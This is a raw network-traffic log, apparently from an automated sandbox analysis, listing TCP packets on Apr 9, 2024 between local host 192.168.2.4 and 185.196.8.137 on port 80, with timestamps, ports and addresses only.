Apr 9, 2024 14:54:02.252708912 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252718925 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252743959 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252758026 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252793074 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252805948 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252820015 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252862930 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252876043 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252899885 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252947092 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252960920 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252978086 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.252985954 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.252993107 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253015041 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253019094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253031969 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253043890 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253053904 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253074884 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253078938 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253093958 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253117085 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253130913 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253170967 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253191948 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253206968 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253236055 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253267050 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253283978 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253355026 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253367901 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253377914 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253387928 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253390074 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253412962 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253429890 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253443003 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253468990 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253480911 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253495932 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253505945 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253516912 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253536940 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253541946 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253595114 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253608942 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253640890 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253655910 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253669024 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253679037 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253758907 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253772020 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253782988 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253793955 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253794909 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253806114 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253822088 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253833055 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253856897 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253856897 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253866911 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253895044 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253911972 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253923893 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253947020 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.253957033 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253968954 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.253993034 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254019976 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254034042 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254045963 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254056931 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254066944 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254070044 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254076004 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254107952 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254115105 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254164934 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254177094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254188061 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254199982 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254225969 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254240036 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254247904 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254282951 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254322052 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254334927 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254345894 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254358053 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254368067 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254371881 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254386902 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254395962 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254419088 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254422903 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254452944 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254488945 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254499912 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254512072 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254544973 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254548073 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254561901 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254584074 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254597902 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254628897 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254667044 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254714012 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254725933 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254736900 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254759073 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254770041 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254805088 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254806042 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254858971 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254869938 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254882097 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254890919 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254894018 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254910946 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254911900 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254935980 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.254944086 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.254992962 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255032063 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255048037 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255060911 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255095005 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255099058 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255111933 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255135059 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255157948 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255208015 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255220890 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255232096 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255243063 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255244970 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255259037 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255264997 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255270958 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255291939 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255299091 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255330086 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255346060 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255358934 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255390882 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255422115 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255434036 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255445004 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255456924 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255469084 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255470037 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255491972 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255520105 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255532980 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255544901 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255559921 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255574942 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255584002 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255600929 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255634069 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255659103 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255671978 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255682945 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255707026 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255707026 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255740881 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255752087 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255774975 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255786896 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255806923 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255834103 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255846024 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255856991 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255876064 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255881071 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255886078 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255923033 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255937099 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.255975008 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.255983114 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256026983 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256030083 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256074905 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256093025 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256110907 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256146908 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256179094 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256234884 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256247997 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256259918 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256287098 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256314993 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256350994 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256405115 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256417990 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256429911 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256447077 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256452084 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256478071 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256479979 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256490946 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256501913 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256525040 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256541014 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256551981 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256575108 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256577015 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256587982 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256612062 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256628990 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256665945 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256683111 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256722927 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256735086 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256757021 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256759882 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256772995 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256793976 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256803036 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256838083 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256850004 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256917953 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256936073 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256952047 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.256964922 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256977081 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.256999969 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257009029 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257035017 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257050037 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257064104 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257075071 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257100105 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257132053 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257170916 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257208109 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257220984 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257234097 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257245064 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257252932 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257257938 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257266998 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257276058 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257289886 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257299900 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257313967 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257325888 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257349014 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257368088 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257380962 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257404089 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257419109 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257458925 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257488012 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257500887 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257534027 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257534981 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257550001 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257584095 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257595062 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257606983 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257618904 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257630110 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257639885 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257666111 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257673025 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257708073 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257719040 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257746935 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257756948 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257769108 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257792950 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257818937 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257832050 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257843018 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257864952 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257888079 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257891893 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257904053 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257915020 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257925034 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.257937908 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257960081 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.257963896 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258014917 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258027077 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258038044 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258050919 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258066893 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258081913 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258095026 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258116007 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258132935 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258193016 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258205891 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258217096 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258229017 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258229971 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258256912 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258320093 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258332014 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258342981 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258353949 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258358955 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258374929 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258374929 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258389950 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258403063 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258410931 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258415937 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258438110 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258503914 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258543968 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258563042 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258575916 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258610964 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258625984 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258639097 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258661032 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258670092 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258682013 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258725882 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258742094 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258753061 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258806944 CEST	49739	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:02.258811951 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258825064 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258836985 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258847952 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258860111 CEST	80	49739	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:02.258860111 CEST	49739	80	192.168.2.4	185.196.8.137
